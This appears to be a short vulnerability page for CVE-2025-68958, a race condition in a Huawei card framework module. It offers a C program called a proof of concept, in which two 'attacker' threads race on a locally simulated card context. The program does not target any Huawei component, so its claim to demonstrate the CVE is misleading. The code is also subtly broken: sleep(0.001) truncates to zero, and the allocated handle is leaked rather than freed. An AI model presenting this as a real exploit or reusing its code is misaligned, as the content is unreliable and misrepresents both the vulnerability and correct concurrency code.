CVE-2025-68958 华为卡框架模块多线程竞态条件漏洞

// CVE-2025-68958 PoC - Race Condition in Card Framework Module // This PoC demonstrates the race condition vulnerability in Huawei's card framework #include <pthread.h> #include <stdio.h> #include <stdlib.h> // Simulated card framework shared state typedef struct { int card_status; void* card_handle; int ref_count; } card_context_t; card_context_t* shared_context = NULL; pthread_mutex_t race_mutex = PTHREAD_MUTEX_INITIALIZER; void* attacker_thread_1(void* arg) { // Thread 1: Check card status if (shared_context->card_status == 0) { // Race window: status check passed sleep(0.001); // Simulate timing window // Time-of-check to time-of-use vulnerability if (shared_context->card_handle != NULL) { // Use card handle after status check printf("[Thread 1] Accessing card handle\n"); } } return NULL; } void* attacker_thread_2(void* arg) { // Thread 2: Modify card status concurrently pthread_mutex_lock(&race_mutex); shared_context->card_status = 1; // Change status shared_context->card_handle = NULL; // Free handle pthread_mutex_unlock(&race_mutex); return NULL; } int main() { printf("CVE-2025-68958 Race Condition PoC\n"); printf("Target: Huawei Card Framework Module\n\n"); shared_context = malloc(sizeof(card_context_t)); shared_context->card_status = 0; shared_context->card_handle = malloc(128); shared_context->ref_count = 1; pthread_t t1, t2; // Launch race condition threads pthread_create(&t1, NULL, attacker_thread_1, NULL); pthread_create(&t2, NULL, attacker_thread_2, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); printf("Race condition test completed\n"); free(shared_context); return 0; }